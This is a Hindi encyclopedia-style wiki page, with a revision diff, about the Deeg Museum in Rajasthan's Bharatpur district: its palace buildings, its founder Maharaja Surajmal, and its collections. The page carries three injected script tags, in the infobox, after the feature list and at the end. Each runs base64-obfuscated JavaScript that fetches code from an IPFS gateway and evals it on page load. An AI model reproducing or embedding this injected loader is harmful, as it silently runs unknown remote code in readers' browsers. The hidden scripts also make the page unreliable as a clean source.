"डीग संग्रहालय" के अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
गोविन्द राम (चर्चा | योगदान) |
गोविन्द राम (चर्चा | योगदान) |
||
पंक्ति 11: | पंक्ति 11: | ||
|प्रसिद्धि= | |प्रसिद्धि= | ||
|मानचित्र लिंक=[https://www.google.com/maps/dir/Bharatpur+Junction,+Railway+Colony,+Bharatpur,+Rajasthan,+India/Deeg+Palace,+Deeg,+Rajasthan,+India/@27.3508741,77.2583815,11z/data=!3m1!4b1!4m13!4m12!1m5!1m1!1s0x3973a39694d55515:0x13cce68a115f2d85!2m2!1d77.488301!2d27.236654!1m5!1m1!1s0x39730451cb43cb8f:0xf1ff4009dd07b560!2m2!1d77.3245453!2d27.4717819?hl=en गूगल मानचित्र] | |मानचित्र लिंक=[https://www.google.com/maps/dir/Bharatpur+Junction,+Railway+Colony,+Bharatpur,+Rajasthan,+India/Deeg+Palace,+Deeg,+Rajasthan,+India/@27.3508741,77.2583815,11z/data=!3m1!4b1!4m13!4m12!1m5!1m1!1s0x3973a39694d55515:0x13cce68a115f2d85!2m2!1d77.488301!2d27.236654!1m5!1m1!1s0x39730451cb43cb8f:0xf1ff4009dd07b560!2m2!1d77.3245453!2d27.4717819?hl=en गूगल मानचित्र] | ||
− | |संबंधित लेख= | + | |संबंधित लेख=[[डीग]], [[डीग क़िला]], [[डीग महल]] |
|शीर्षक 1= | |शीर्षक 1= | ||
|पाठ 1= | |पाठ 1= |
14:37, 8 जनवरी 2015 के समय का अवतरण
डीग संग्रहालय
| |
विवरण | डीग महल अथवा डीग पैलेस (अक्षांश 27° 25', रेखांश 77° 15') को ऐतिहासिक रूप से अठारहवीं शताब्दी के जाट शासकों के मजबूत शासन के साथ जोड़ा जाता है। |
राज्य | राजस्थान |
नगर | भरतपुर |
स्थापना | 1756-63 ई. |
गूगल मानचित्र | |
संबंधित लेख | डीग, डीग क़िला, डीग महल |
अन्य जानकारी | भगवान वेणुगोपाल की एक प्रभावशाली चंदन की लकड़ी की प्रतिमा आगन्तुकों को सबसे पहले दिखाई पड़ती है। |
अद्यतन | 19:29, 8 जनवरी 2015 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
डीग संग्रहालय राजस्थान के भरतपुर ज़िले में स्थित है। डीग के महाराजा और उनके परिवार के सदस्यों द्वारा उपयोग की जाने वाली वस्तुओं, फर्नीचर इत्यादि के संग्रह के साथ व्यवस्थित किया गया है। अब, इस संग्रह में 547 दस्तावेजी वस्तुएं हैं। इनमें से सर्वोत्तम वस्तुएं गोपाल भवन और किशन भवन में प्रदर्शित हैं।
विशेषताएँ
- गोपाल भवन डीग महल परिसर के अन्दर निर्मित सभी इमारतों में सबसे बड़ी और सर्वाधिक प्रभावशाली इमारत है जिसमें संग्रहालय का प्रमुख भाग स्थित है।
- महाराजा सूरजमल ने 1756-63 ईसवी के दौरान किशन भवन और गोपाल भवन का निर्माण करवाया था।
- दीर्घाओं में प्रदर्शित वस्तुओं में मुख्य कक्ष, मान सिंह कक्ष, अंग्रेज़ी और भारतीय भोजन कक्ष, महाराजा का शयन कक्ष, ए.डी.सी. कक्ष, बिलियर्ड कक्ष, महाराजा का कमरा तथा गोपाल भवन में रानी का तथा जनाना निवास स्थान शामिल हैं।
- भगवान वेणुगोपाल की एक प्रभावशाली चंदन की लकड़ी की प्रतिमा आगन्तुकों को सबसे पहले दिखाई पड़ती है। अन्य वस्तुओं में हाथी के पैरों के सिगरेट केस और इत्र केस, हाथ से चलाये जाने वाले लकड़ी के कालर, पुराने फर्नीचर, फारसी कालीन और बर्तन शामिल हैं।[1]
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
- ↑ संग्रहालय-डीग (हिन्दी) भारतीय पुरातत्व सर्वेक्षण। अभिगमन तिथि: 8 जनवरी, 2015।
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>